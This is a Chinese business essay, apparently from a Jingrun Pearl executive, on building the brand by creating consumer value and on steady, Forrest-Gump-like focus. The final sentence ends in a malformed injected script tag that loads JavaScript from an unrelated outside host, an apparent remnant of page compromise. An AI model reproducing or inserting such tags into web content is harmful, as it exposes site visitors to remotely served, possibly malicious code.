京润珍珠为消费者创造价值
京润珍珠在发展过程中一直存在一个朴素的理念:好的东西终究是会受人认可的。符合事物发展规律的东西始终是会成长起来的。在这种指导思想下,哪怕在海南比较复杂的旅游购物环境里,都一直坚持提供高质量、品种齐全、价格合理、环境优美、服务良好的珍珠产品和服务,在“劣币驱逐良币”的环境里,虽然因此损失很多利益,但我们这种理念和定位始终不移。十几年的沉淀也为京润珍珠赢得了信誉和口碑。“两馆”对京润珍珠品牌形象作用不断突显。我自始至终相信,一切都在向符合事物本来面目的方向发展,好的终究是好的。消费者是最终的“圣明”。
今天,我们京润珍珠面临更大的发展,渴望成为一个优秀的、迅速成长的企业,我们仍然需要坚持的,给京润企业支撑的也还是:一切为消费者创造价值。
当市场经济体制确定了我们的生存环境之后,决定企业生存的唯一要素就是消费者价值、客户价值。即:企业的价值是由消费者决定的,而不是由企业或产品决定的。消费者价值是通过品牌定位和内涵来表现的。品牌是消费者的认知。品牌是一个系统工程,也是长期投入并积淀的过程,但无论如何品牌终究是消费者的认知。获得了消费者的认识就是品牌,品牌运作就是一场经营人心活动,是一种思想承认。
我看过一部叫《阿甘正传》的电影。低能儿阿甘为了躲避别的孩子的欺辱而开始“跑”,在“说到就要做到”这一信条的指引下,闯出了一片属于自己的天空,成为越战英雄,亲自受到总统接见并获得勋章;成为《财富》杂志的封面人物……但无论何时、无论何处、和谁在一起,他都依然如故,纯朴而善良。阿甘的成功在于,他从来都不是个聪明人,但永远保持那种锁定目标、专注重复的做事精神。
如今这个世界做生意是一件简单的事情,完全按照商业规律做就很简单。道理很简单,这个领域是阿甘式的逻辑,是那些执着于事物运行规律的人获得成功,而不是那些自以为是的小聪明人。执着于规律与客户价值的阿甘式发展,表面上很“傻”,其实背后是真正的商业强者的心态或大公司心态,而玩小聪明与走捷径的背后是一种自卑的弱者的心态或小公司心态。京润珍珠要实现自己的愿景,必须使其成为专注于消费者价值、专注于使员工有尊严、有独立人格的公司。
京润珍珠在所从事的领域是弱小者也是后来者。大的国际公司通过市场与消费者建立了比较稳固的关系,在中国市场获得了胜利。我们要想有所作为,出路仍然在于要更加尊重与理解消费者。
京润在商业运作上是很有机会获得成功的。独特的珍珠产业链,完善的产品结构,珍珠的、天然的、绿色的、科技的、调内养外的市场卖点,十几年的良好口碑和品牌积淀,海口、沈阳、深圳市场运作的成功等等,都使我们增强了获得更大成功的勇气和信心。我们不断提出要向国际大品牌学习,要向“玉兰油”学习,学习他们良好的终端形象,良好的产品稳定性,广泛的市场网络,一贯始终的经营策略,不断创新的产品种类,等等。京润珍珠要想成为一个大品牌可能这些都是要做到的。但问题是,京润珍珠要都这样做,也永远成为不了大品牌。因此,京润珍珠的市场营销模式必须创新,建立新的市场营销模式,以为消费者创造价值的出发点和名义开创属于自己的天地。一切都是可以改变的,只要我们为消费者创造价值,只要他们用适合的价格能买到超值的产品和服务,就能在他们心目中形成良好的美誉度。
在中国,护肤品中高端市场压根就没有自己的品牌,就连“大宝”等低端市场品牌也要卖了。国际品牌一个个强势如虎,京润珍珠能成功吗?我们确实面临巨大的压力,但目前我们至少在局部市场成功过,甚至大大成功过。我们有成功的基因,这些成功包含着成功的基本因素和规律。问题在于我们必须认真分析总结这些因素,发现并把握这些规律,并在市场中不断放大。“星星之火,可以燎原”。麦当劳、星巴克、沃尔玛也都是从一个小店经营开始的。何况京润珍珠已不再是一个店,开始有了自己的“势”。问题在于我们牢牢把握这种“势”,并不断放大。市场经济的基本准则是公平竞争、平等交换,这是市场经济规律的体现。员工与企业、企业与消费者、企业与企业概莫能外。我们的各种作为都要认同这种规律。市场经济的根基是消费者主导,当客户价值成为公司利润之本的时候,声誉也就成为获得更多利益的最好渠道,声誉源于客户价值。所以品牌、口碑、声誉是企业的财富。我们必须清醒地认识,不可以以任何理由、任何借口损毁自己的口碑、声誉,从而在消费者中树立起美好的形象。
京润企业要长大,必须有并不断置入长大的基因。基因决定未来。只有小骆驼才能长成大骆驼,兔子无论怎样长,终究是兔子。这个世界上做企业与做人的道理是一样的,在本质上没有什么区别。?script src=http://cn.jxmmtv.com/cn.js>
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